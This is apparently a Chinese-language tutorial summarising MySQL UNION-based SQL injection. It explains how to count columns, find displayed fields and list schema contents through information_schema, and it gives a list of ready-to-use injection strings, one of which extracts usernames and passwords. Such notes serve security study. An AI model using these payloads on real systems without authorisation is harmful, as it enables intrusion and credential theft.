目录
- MySQL注入总结
- 简介
- 特定变量
- 查询步骤
- Mysql版本<5.0
- Mysql版本>=5.0
- 注入语句
MySQL注入总结
简介
联合注入是使用了union select联合查询,通常用来拼接在where后面,联合注入的优势是自带多个显位,可以很快爆出数据,缺点是只能用在select最后处,后面如果还有sql语句就必须注释掉。而且必须用到union和select,很容易被拦截
特定变量
1\. SCHEMATA表 : 提供了当前mysql实例中所有数据库的信息。
2\. TABLES 表 : 提供了关于数据库中的表的信息。
3\. COLUMNS 表 :提供了表中的列信息
查询步骤
- 先确定字段数量。
使用order/group by语句。通过往后边拼接数字,可确定字段数量, 若大于,则页面错误/无内容,若小于或等于,则页面正常。若错误页与正常页一样,更换报错注入/盲注。 - 判断页面回显数据的字段位置。
使用union select 1,2,3,4,x… 我们定义的数字将显示在页面上,即可从中判断页面显示的字段位置。
注意:
- 若确定页面有回显,但是页面中并没有我们定义的特殊标记数字出现,可能是页面现在了单行数据输出,我们让前边的 select查询条件返回结果为空即可。
- 注意一定要拼接够足够的字段数,否则SQL语句报错。PS:此方法也可作为判断前条 select语句的方法之一。
- union作用是连接多条查询语句,我们使用order by测试的字段数,是上一条查询语句中表格的字段数
- 在显示的字段位置使用子查询来查询数据,或直接查询也可。
首先,查询当前数据库名database()、数据库账号user()、数据库版本version()等基本情况,再根据不同的版本、不同的权限确定接下来的方法。
Mysql版本<5.0
简单的说,由于mysql的低版本缺乏系统库 information_schema,故通常情况下,我们无法直接查询表名,字段(列)名等信息,这时候只能靠猜来解决。
直接猜表名与列名是什么,甚至是库名,再使用联合查询取数据。
若知道仅表名而不知道列(字段)名:
可通过以下payload:
- 若多字段:select `x` from(select 1,2,3,4,xxx from table_name union select * from table_name)a
- 若单字段:select *,1,2,xxx from table_name
Mysql版本>=5.0
通过information_schema的数据库里的 shemata数据表查询全部数据库名。若不需要跨数据库的话,可直接跳过此步骤,直接查询相应的数据库下的全部数据表名。
tables表 //存储着全部的数据表信息
table_name字段 //保存所有数据库表的名字
table_schema字段 //保存其对应的数据库名
columns表 //可查询对应的数据库/数据库表含有的字段名
union select 1 ,2,group_concat (table_name), 4,xxxx from information_schema .tables where table_schema = database();
上述payload可查看全部的数据表名,其中**[[group_concat]]函数将多行数据转成一行数据**。
简单的说,查库名->查表名->查字段名->查数据
注入语句
1. 查询列数
id=1 order by 3
1. 查看回显位
id=\-1 union select 1,2,3
1. 查询变量信息
id=\-1 union select 1,database(),3
1. 语句格式
union select 1 ,group\_concat(schema\_name),3 from information\_schema.schemata\-\-
1. 查询限制的其中一个数据库
from information\_schema.schemata 查询所有数据库
SELECT 1,2,table\_name from information\_schema.tables where table\_schema=database() limit 0,1
1. 查询表名
SELECT 1,2,group\_concat(table\_name) from information\_schema.tables where table\_schema=database()
1. 查询列名
SELECT 1,2,group\_concat(column\_name) from information\_schema.columns where table\_name=’users’
1. 查询字段值
SELECT 1,2,group\_concat(id,username,password) from users